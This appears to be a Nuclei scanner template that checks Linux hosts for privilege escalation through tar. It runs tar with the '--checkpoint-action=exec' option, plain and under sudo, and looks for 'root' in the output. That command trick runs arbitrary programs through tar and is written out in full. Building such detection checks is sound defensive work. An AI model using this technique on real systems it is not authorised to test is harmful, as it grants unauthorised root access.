nuclei-templates/code/privilege-escalation/linux/binary/privesc-tar.yaml

49 lines
1.3 KiB
YAML
Raw Normal View History

2024-01-22 13:29:57 +00:00
id: privesc-tar
info:
name: tar - Privilege Escalation
author: daffainfo
severity: high
description: |
2024-01-22 14:09:39 +00:00
tar is a command-line utility used to create and manipulate archive files. It is commonly used for bundling multiple files and directories into a single archive, often used in conjunction with compression tools like gzip or bzip2.
2024-01-22 13:29:57 +00:00
reference:
- https://gtfobins.github.io/gtfobins/tar/
metadata:
verified: true
max-request: 3
tags: code,linux,tar,privesc,local
2024-01-22 13:29:57 +00:00
self-contained: true
code:
- engine:
- sh
- bash
source: |
whoami
- engine:
- sh
- bash
source: |
tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=whoami
- engine:
- sh
- bash
source: |
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=whoami
matchers-condition: and
matchers:
- type: word
part: code_1_response
words:
- "root"
negative: true
- type: dsl
dsl:
- 'contains(code_2_response, "root")'
- 'contains(code_3_response, "root")'
condition: or
# digest: 4b0a00483046022100c505ccd3523d1185243180df012aa21eec0eb8062fe80bb508fe4ad53833ac4f022100c0478b121270a491ceea51d50c657ddc06b409067f7883554891c6698d51ab80:922c64590222798bb761d5b6d8e72950